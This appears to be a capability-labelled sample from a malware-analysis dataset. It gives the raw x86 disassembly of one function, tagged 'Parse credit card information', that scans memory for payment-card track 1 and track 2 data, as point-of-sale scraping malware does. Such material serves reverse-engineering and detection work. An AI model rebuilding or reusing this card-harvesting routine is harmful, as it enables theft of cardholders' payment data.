Function at 0x403f60
Capabilities:
Parse credit card information

Disassembly:
push ebp
lea ebp, [esp - 0x70]
sub esp, 0x114
mov dword [ebp + 0x54], 0
cmp dword [ebp + 0x7c], 0
jbe 0x404872
mov eax, dword [ebp + 0x78]
mov dword [ebp + 0x6c], eax
mov ecx, dword [ebp + 0x6c]
movsx edx, byte [ecx]
test edx, edx
je 0x404849
mov eax, dword [ebp + 0x6c]
movsx ecx, byte [eax]
cmp ecx, 0x7f
jge 0x404849
mov edx, dword [ebp + 0x6c]
movsx eax, byte [edx]
cmp eax, 0x20
jle 0x404849
mov ecx, dword [ebp + 0x6c]
movsx edx, byte [ecx]
cmp edx, 0x25
jne 0x404271
cmp dword [ebp + 0x7c], 0x4f
jbe 0x404271
mov dword [ebp + 0x68], 0
mov eax, dword [ebp + 0x6c]
add eax, 1
mov dword [ebp + 0x6c], eax
mov ecx, dword [ebp + 0x6c]
mov dword [ebp + 0x5c], ecx
mov edx, dword [ebp + 0x6c]
movsx eax, byte [edx]
test eax, eax
jne 0x404018
mov ecx, dword [ebp + 0x6c]
add ecx, 1
mov dword [ebp + 0x6c], ecx
mov edx, dword [ebp + 0x6c]
movsx eax, byte [edx]
cmp eax, 0x42
je 0x404006
mov ecx, dword [ebp + 0x6c]
movsx edx, byte [ecx]
cmp edx, 0x62
jne 0x404018
mov dword [ebp + 0x60], 1
mov eax, dword [ebp + 0x6c]
add eax, 2
mov dword [ebp + 0x6c], eax
jmp 0x404057
mov ecx, dword [ebp + 0x5c]
movsx edx, byte [ecx]
cmp edx, 0x42
je 0x40402e
mov eax, dword [ebp + 0x5c]
movsx ecx, byte [eax]
cmp ecx, 0x62
jne 0x404040
mov dword [ebp + 0x60], 0
mov edx, dword [ebp + 0x6c]
add edx, 1
mov dword [ebp + 0x6c], edx
jmp 0x404057
mov eax, dword [ebp + 0x78]
add eax, 1
mov dword [ebp + 0x78], eax
mov ecx, dword [ebp + 0x7c]
sub ecx, 1
mov dword [ebp + 0x7c], ecx
jmp 0x403f72
mov edx, dword [ebp + 0x68]
add edx, 2
mov dword [ebp + 0x68], edx
mov dword [ebp + 0x58], 1
mov eax, dword [ebp + 0x58]
push eax
mov ecx, dword [ebp + 0x60]
push ecx
mov edx, dword [ebp + 0x6c]
push edx
call fcn.00405240
add esp, 0xc
mov dword [ebp + 0x64], eax
cmp dword [ebp + 0x64], 0xffffffff
je 0x404271
push 0x14
push 0
lea eax, [ebp + 0x40]
push eax
call fcn.00401940
add esp, 0xc
cmp dword [ebp + 0x60], 1
jne 0x4040bc
push 0
push 0
push 0x14
lea ecx, [ebp + 0x40]
push ecx
mov edx, dword [ebp + 0x64]
push edx
mov eax, dword [ebp + 0x6c]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
jmp 0x4040d0
mov ecx, dword [ebp + 0x64]
push ecx
mov edx, dword [ebp + 0x6c]
push edx
lea eax, [ebp + 0x40]
push eax
call fcn.00401980
add esp, 0xc
mov ecx, dword [ebp + 0x68]
add ecx, dword [ebp + 0x64]
mov dword [ebp + 0x68], ecx
mov edx, dword [ebp + 0x64]
push edx
lea eax, [ebp + 0x40]
push eax
call fcn.00405120
add esp, 8
cmp eax, 1
jne 0x404271
cmp dword [ebp + 0x60], 0
jne 0x404103
mov ecx, dword [ebp + 0x6c]
add ecx, dword [ebp + 0x64]
mov dword [ebp + 0x6c], ecx
jmp 0x40410f
mov edx, dword [ebp + 0x64]
mov eax, dword [ebp + 0x6c]
lea ecx, [eax + edx*2]
mov dword [ebp + 0x6c], ecx
mov edx, dword [ebp + 0x6c]
movsx eax, byte [edx]
cmp eax, 0x5e
jne 0x404271
mov ecx, dword [ebp + 0x60]
push ecx
mov edx, dword [ebp + 0x6c]
push edx
call fcn.00405320
add esp, 8
mov dword [ebp + 0x64], eax
cmp dword [ebp + 0x64], 0xffffffff
je 0x404271
cmp dword [ebp + 0x60], 0
jne 0x40414c
mov eax, dword [ebp + 0x6c]
add eax, dword [ebp + 0x64]
mov dword [ebp + 0x6c], eax
jmp 0x404158
mov ecx, dword [ebp + 0x64]
mov edx, dword [ebp + 0x6c]
lea eax, [edx + ecx*2]
mov dword [ebp + 0x6c], eax
mov ecx, dword [ebp + 0x68]
add ecx, dword [ebp + 0x64]
mov dword [ebp + 0x68], ecx
mov edx, 0x4f
sub edx, dword [ebp + 0x68]
push edx
mov eax, dword [ebp + 0x58]
push eax
mov ecx, dword [ebp + 0x60]
push ecx
mov edx, dword [ebp + 0x6c]
push edx
call fcn.00405390
add esp, 0x10
mov dword [ebp + 0x64], eax
cmp dword [ebp + 0x64], 0xffffffff
je 0x404271
cmp dword [ebp + 0x60], 0
jne 0x40419c
mov eax, dword [ebp + 0x6c]
add eax, dword [ebp + 0x64]
mov dword [ebp + 0x6c], eax
jmp 0x4041a8
mov ecx, dword [ebp + 0x64]
mov edx, dword [ebp + 0x6c]
lea eax, [edx + ecx*2]
mov dword [ebp + 0x6c], eax
mov ecx, dword [ebp + 0x68]
add ecx, dword [ebp + 0x64]
mov dword [ebp + 0x68], ecx
mov edx, dword [ebp + 0x5c]
sub edx, 1
mov dword [ebp + 0x5c], edx
push 0x4f
push 0
lea eax, [ebp - 0x38]
push eax
call fcn.00401940
add esp, 0xc
cmp dword [ebp + 0x60], 0
jne 0x4041e6
mov ecx, dword [ebp + 0x68]
push ecx
mov edx, dword [ebp + 0x5c]
push edx
lea eax, [ebp - 0x38]
push eax
call fcn.00401980
add esp, 0xc
jmp 0x404202
push 0
push 0
push 0x4f
lea ecx, [ebp - 0x38]
push ecx
mov edx, dword [ebp + 0x68]
push edx
mov eax, dword [ebp + 0x5c]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea ecx, [ebp - 0x38]
push ecx
mov edx, dword [0x407300]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
jne 0x404271
mov eax, dword [ebp + 0x68]
push eax
lea ecx, [ebp - 0x38]
push ecx
call fcn.00404f90
add esp, 8
mov edx, dword [ebp + 0x68]
push edx
lea eax, [ebp - 0x38]
push eax
call fcn.00404f20
add esp, 8
cmp dword [ebp + 0x60], 0
jne 0x404251
mov ecx, dword [ebp + 0x78]
add ecx, dword [ebp + 0x68]
mov dword [ebp + 0x78], ecx
mov edx, dword [ebp + 0x7c]
sub edx, dword [ebp + 0x68]
mov dword [ebp + 0x7c], edx
jmp 0x40426a
mov eax, dword [ebp + 0x68]
mov ecx, dword [ebp + 0x78]
lea edx, [ecx + eax*2]
mov dword [ebp + 0x78], edx
mov eax, dword [ebp + 0x68]
shl eax, 1
mov ecx, dword [ebp + 0x7c]
sub ecx, eax
mov dword [ebp + 0x7c], ecx
mov dword [ebp + 0x54], 1
mov edx, dword [ebp + 0x6c]
movsx eax, byte [edx]
cmp eax, 0x3b
jne 0x404509
cmp dword [ebp + 0x7c], 0x28
jbe 0x404509
mov dword [ebp + 0x68], 0
mov ecx, dword [ebp + 0x6c]
add ecx, 1
mov dword [ebp + 0x6c], ecx
mov edx, dword [ebp + 0x6c]
mov dword [ebp + 0x5c], edx
mov eax, dword [ebp + 0x6c]
movsx ecx, byte [eax]
test ecx, ecx
jne 0x4042d0
mov edx, dword [ebp + 0x6c]
add edx, 1
mov dword [ebp + 0x6c], edx
mov eax, dword [ebp + 0x6c]
movzx ecx, byte [eax]
push ecx
call fcn.00405210
add esp, 4
cmp eax, 1
jne 0x4042d0
mov dword [ebp + 0x60], 1
jmp 0x404304
mov edx, dword [ebp + 0x5c]
movzx eax, byte [edx]
push eax
call fcn.00405210
add esp, 4
cmp eax, 1
jne 0x4042ed
mov dword [ebp + 0x60], 0
jmp 0x404304
mov ecx, dword [ebp + 0x78]
add ecx, 1
mov dword [ebp + 0x78], ecx
mov edx, dword [ebp + 0x7c]
sub edx, 1
mov dword [ebp + 0x7c], edx
jmp 0x403f72
mov eax, dword [ebp + 0x68]
add eax, 1
mov dword [ebp + 0x68], eax
mov dword [ebp + 0x58], 1
mov ecx, dword [ebp + 0x58]
push ecx
mov edx, dword [ebp + 0x60]
push edx
mov eax, dword [ebp + 0x6c]
push eax
call fcn.00405240
add esp, 0xc
mov dword [ebp + 0x64], eax
cmp dword [ebp + 0x64], 0xffffffff
je 0x404509
push 0x14
push 0
lea ecx, [ebp + 0x40]
push ecx
call fcn.00401940
add esp, 0xc
cmp dword [ebp + 0x60], 1
jne 0x404369
push 0
push 0
push 0x14
lea edx, [ebp + 0x40]
push edx
mov eax, dword [ebp + 0x64]
push eax
mov ecx, dword [ebp + 0x6c]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
jmp 0x40437d
mov edx, dword [ebp + 0x64]
push edx
mov eax, dword [ebp + 0x6c]
push eax
lea ecx, [ebp + 0x40]
push ecx
call fcn.00401980
add esp, 0xc
mov edx, dword [ebp + 0x68]
add edx, dword [ebp + 0x64]
mov dword [ebp + 0x68], edx
mov eax, dword [ebp + 0x64]
push eax
lea ecx, [ebp + 0x40]
push ecx
call fcn.00405120
add esp, 8
cmp eax, 1
jne 0x404509
cmp dword [ebp + 0x60], 0
jne 0x4043b0
mov edx, dword [ebp + 0x6c]
add edx, dword [ebp + 0x64]
mov dword [ebp + 0x6c], edx
jmp 0x4043bc
mov eax, dword [ebp + 0x64]
mov ecx, dword [ebp + 0x6c]
lea edx, [ecx + eax*2]
mov dword [ebp + 0x6c], edx
mov eax, dword [ebp + 0x6c]
movsx ecx, byte [eax]
cmp ecx, 0x3d
je 0x4043d6
mov edx, dword [ebp + 0x6c]
movsx eax, byte [edx]
cmp eax, 0x44
jne 0x404509
cmp dword [ebp + 0x60], 0
jne 0x4043e7
mov ecx, dword [ebp + 0x6c]
add ecx, 1
mov dword [ebp + 0x6c], ecx
jmp 0x4043f0
mov edx, dword [ebp + 0x6c]
add edx, 2
mov dword [ebp + 0x6c], edx
mov eax, dword [ebp + 0x68]
add eax, 1
mov dword [ebp + 0x68], eax
mov ecx, 0x28
sub ecx, dword [ebp + 0x68]
push ecx
mov edx, dword [ebp + 0x58]
push edx
mov eax, dword [ebp + 0x60]
push eax
mov ecx, dword [ebp + 0x6c]
push ecx
call fcn.00405390
add esp, 0x10
mov dword [ebp + 0x64], eax
cmp dword [ebp + 0x64], 0xffffffff
je 0x404509
cmp dword [ebp + 0x60], 0
jne 0x404434
mov edx, dword [ebp + 0x6c]
add edx, dword [ebp + 0x64]
mov dword [ebp + 0x6c], edx
jmp 0x404440
mov eax, dword [ebp + 0x64]
mov ecx, dword [ebp + 0x6c]
lea edx, [ecx + eax*2]
mov dword [ebp + 0x6c], edx
mov eax, dword [ebp + 0x68]
add eax, dword [ebp + 0x64]
mov dword [ebp + 0x68], eax
mov ecx, dword [ebp + 0x5c]
sub ecx, 1
mov dword [ebp + 0x5c], ecx
push 0x28
push 0
lea edx, [ebp + 0x18]
push edx
call fcn.00401940
add esp, 0xc
cmp dword [ebp + 0x60], 0
jne 0x40447e
mov eax, dword [ebp + 0x68]
push eax
mov ecx, dword [ebp + 0x5c]
push ecx
lea edx, [ebp + 0x18]
push edx
call fcn.00401980
add esp, 0xc
jmp 0x40449a
push 0
push 0
push 0x28
lea eax, [ebp + 0x18]
push eax
mov ecx, dword [ebp + 0x68]
push ecx
mov edx, dword [ebp + 0x5c]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea eax, [ebp + 0x18]
push eax
mov ecx, dword [0x407300]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
jne 0x404509
mov edx, dword [ebp + 0x68]
push edx
lea eax, [ebp + 0x18]
push eax
call fcn.00404f90
add esp, 8
mov ecx, dword [ebp + 0x68]
push ecx
lea edx, [ebp + 0x18]
push edx
call fcn.00404f20
add esp, 8
cmp dword [ebp + 0x60], 0
jne 0x4044e9
mov eax, dword [ebp + 0x78]
add eax, dword [ebp + 0x68]
mov dword [ebp + 0x78], eax
mov ecx, dword [ebp + 0x7c]
sub ecx, dword [ebp + 0x68]
mov dword [ebp + 0x7c], ecx
jmp 0x404502
mov edx, dword [ebp + 0x68]
mov eax, dword [ebp + 0x78]
lea ecx, [eax + edx*2]
mov dword [ebp + 0x78], ecx
mov edx, dword [ebp + 0x68]
shl edx, 1
mov eax, dword [ebp + 0x7c]
sub eax, edx
mov dword [ebp + 0x7c], eax
mov dword [ebp + 0x54], 1
mov ecx, dword [ebp + 0x6c]
movsx edx, byte [ecx]
cmp edx, 0x2b
je 0x40452e
mov eax, dword [ebp + 0x6c]
movsx ecx, byte [eax]
cmp ecx, 0x21
je 0x40452e
mov edx, dword [ebp + 0x6c]
movsx eax, byte [edx]
cmp eax, 0x23
jne 0x404849
cmp dword [ebp + 0x7c], 0x6b
jbe 0x404849
mov dword [ebp + 0x68], 0
mov ecx, dword [ebp + 0x6c]
add ecx, 1
mov dword [ebp + 0x6c], ecx
mov edx, dword [ebp + 0x6c]
mov dword [ebp + 0x5c], edx
mov eax, dword [ebp + 0x6c]
movsx ecx, byte [eax]
test ecx, ecx
jne 0x40457e
mov edx, dword [ebp + 0x6c]
add edx, 1
mov dword [ebp + 0x6c], edx
mov eax, dword [ebp + 0x6c]
movzx ecx, byte [eax]
push ecx
call fcn.00405210
add esp, 4
cmp eax, 1
jne 0x40457e
mov dword [ebp + 0x60], 1
jmp 0x4045b2
mov edx, dword [ebp + 0x5c]
movzx eax, byte [edx]
push eax
call fcn.00405210
add esp, 4
cmp eax, 1
jne 0x40459b
mov dword [ebp + 0x60], 0
jmp 0x4045b2
mov ecx, dword [ebp + 0x78]
add ecx, 1
mov dword [ebp + 0x78], ecx
mov edx, dword [ebp + 0x7c]
sub edx, 1
mov dword [ebp + 0x7c], edx
jmp 0x403f72
cmp dword [ebp + 0x60], 1
jne 0x4045f6
mov eax, dword [ebp + 0x6c]
add eax, 2
mov dword [ebp + 0x6c], eax
mov ecx, dword [ebp + 0x6c]
movzx edx, byte [ecx]
push edx
call fcn.00405210
add esp, 4
test eax, eax
jne 0x4045eb
mov eax, dword [ebp + 0x78]
add eax, 1
mov dword [ebp + 0x78], eax
mov ecx, dword [ebp + 0x7c]
sub ecx, 1
mov dword [ebp + 0x7c], ecx
jmp 0x403f72
mov edx, dword [ebp + 0x6c]
add edx, 2
mov dword [ebp + 0x6c], edx
jmp 0x404632
mov eax, dword [ebp + 0x6c]
add eax, 1
mov dword [ebp + 0x6c], eax
mov ecx, dword [ebp + 0x6c]
movzx edx, byte [ecx]
push edx
call fcn.00405210
add esp, 4
test eax, eax
jne 0x404629
mov eax, dword [ebp + 0x78]
add eax, 1
mov dword [ebp + 0x78], eax
mov ecx, dword [ebp + 0x7c]
sub ecx, 1
mov dword [ebp + 0x7c], ecx
jmp 0x403f72
mov edx, dword [ebp + 0x6c]
add edx, 1
mov dword [ebp + 0x6c], edx
mov eax, dword [ebp + 0x68]
add eax, 3
mov dword [ebp + 0x68], eax
mov dword [ebp + 0x58], 1
mov ecx, dword [ebp + 0x58]
push ecx
mov edx, dword [ebp + 0x60]
push edx
mov eax, dword [ebp + 0x6c]
push eax
call fcn.00405240
add esp, 0xc
mov dword [ebp + 0x64], eax
cmp dword [ebp + 0x64], 0xffffffff
je 0x404849
push 0x14
push 0
lea ecx, [ebp + 0x40]
push ecx
call fcn.00401940
add esp, 0xc
cmp dword [ebp + 0x60], 1
jne 0x404697
push 0
push 0
push 0x14
lea edx, [ebp + 0x40]
push edx
mov eax, dword [ebp + 0x64]
push eax
mov ecx, dword [ebp + 0x6c]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
jmp 0x4046ab
mov edx, dword [ebp + 0x64]
push edx
mov eax, dword [ebp + 0x6c]
push eax
lea ecx, [ebp + 0x40]
push ecx
call fcn.00401980
add esp, 0xc
mov edx, dword [ebp + 0x68]
add edx, dword [ebp + 0x64]
mov dword [ebp + 0x68], edx
mov eax, dword [ebp + 0x64]
push eax
lea ecx, [ebp + 0x40]
push ecx
call fcn.00405120
add esp, 8
cmp eax, 1
jne 0x404849
cmp dword [ebp + 0x60], 0
jne 0x4046de
mov edx, dword [ebp + 0x6c]
add edx, dword [ebp + 0x64]
mov dword [ebp + 0x6c], edx
jmp 0x4046ea
mov eax, dword [ebp + 0x64]
mov ecx, dword [ebp + 0x6c]
lea edx, [ecx + eax*2]
mov dword [ebp + 0x6c], edx
mov eax, dword [ebp + 0x6c]
movsx ecx, byte [eax]
cmp ecx, 0x3d
je 0x404704
mov edx, dword [ebp + 0x6c]
movsx eax, byte [edx]
cmp eax, 0x44
jne 0x404849
cmp dword [ebp + 0x60], 0
jne 0x404715
mov ecx, dword [ebp + 0x6c]
add ecx, 1
mov dword [ebp + 0x6c], ecx
jmp 0x40471e
mov edx, dword [ebp + 0x6c]
add edx, 2
mov dword [ebp + 0x6c], edx
mov eax, dword [ebp + 0x68]
add eax, 1
mov dword [ebp + 0x68], eax
mov ecx, 0x28
sub ecx, dword [ebp + 0x68]
push ecx
mov edx, dword [ebp + 0x58]
push edx
mov eax, dword [ebp + 0x60]
push eax
mov ecx, dword [ebp + 0x6c]
push ecx
call fcn.00405390
add esp, 0x10
mov dword [ebp + 0x64], eax
cmp dword [ebp + 0x64], 0xffffffff
je 0x404849
cmp dword [ebp + 0x60], 0
jne 0x404762
mov edx, dword [ebp + 0x6c]
add edx, dword [ebp + 0x64]
mov dword [ebp + 0x6c], edx
jmp 0x40476e
mov eax, dword [ebp + 0x64]
mov ecx, dword [ebp + 0x6c]
lea edx, [ecx + eax*2]
mov dword [ebp + 0x6c], edx
mov eax, dword [ebp + 0x68]
add eax, dword [ebp + 0x64]
mov dword [ebp + 0x68], eax
mov ecx, dword [ebp + 0x5c]
sub ecx, 1
mov dword [ebp + 0x5c], ecx
push 0x6b
push 0
lea edx, [ebp - 0xa4]
push edx
call fcn.00401940
add esp, 0xc
cmp dword [ebp + 0x60], 0
jne 0x4047b2
mov eax, dword [ebp + 0x68]
push eax
mov ecx, dword [ebp + 0x5c]
push ecx
lea edx, [ebp - 0xa4]
push edx
call fcn.00401980
add esp, 0xc
jmp 0x4047d1
push 0
push 0
push 0x6b
lea eax, [ebp - 0xa4]
push eax
mov ecx, dword [ebp + 0x68]
push ecx
mov edx, dword [ebp + 0x5c]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea eax, [ebp - 0xa4]
push eax
mov ecx, dword [0x407300]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
jne 0x404849
mov edx, dword [ebp + 0x68]
push edx
lea eax, [ebp - 0xa4]
push eax
call fcn.00404f90
add esp, 8
mov ecx, dword [ebp + 0x68]
push ecx
lea edx, [ebp - 0xa4]
push edx
call fcn.00404f20
add esp, 8
cmp dword [ebp + 0x60], 0
jne 0x404829
mov eax, dword [ebp + 0x78]
add eax, dword [ebp + 0x68]
mov dword [ebp + 0x78], eax
mov ecx, dword [ebp + 0x7c]
sub ecx, dword [ebp + 0x68]
mov dword [ebp + 0x7c], ecx
jmp 0x404842
mov edx, dword [ebp + 0x68]
mov eax, dword [ebp + 0x78]
lea ecx, [eax + edx*2]
mov dword [ebp + 0x78], ecx
mov edx, dword [ebp + 0x68]
shl edx, 1
mov eax, dword [ebp + 0x7c]
sub eax, edx
mov dword [ebp + 0x7c], eax
mov dword [ebp + 0x54], 1
cmp dword [ebp + 0x54], 1
jne 0x40485b
mov dword [ebp + 0x54], 0
jmp 0x403f7c
mov ecx, dword [ebp + 0x78]
add ecx, 1
mov dword [ebp + 0x78], ecx
mov edx, dword [ebp + 0x7c]
sub edx, 1
mov dword [ebp + 0x7c], edx
jmp 0x403f72
add ebp, 0x70
mov esp, ebp
pop ebp
ret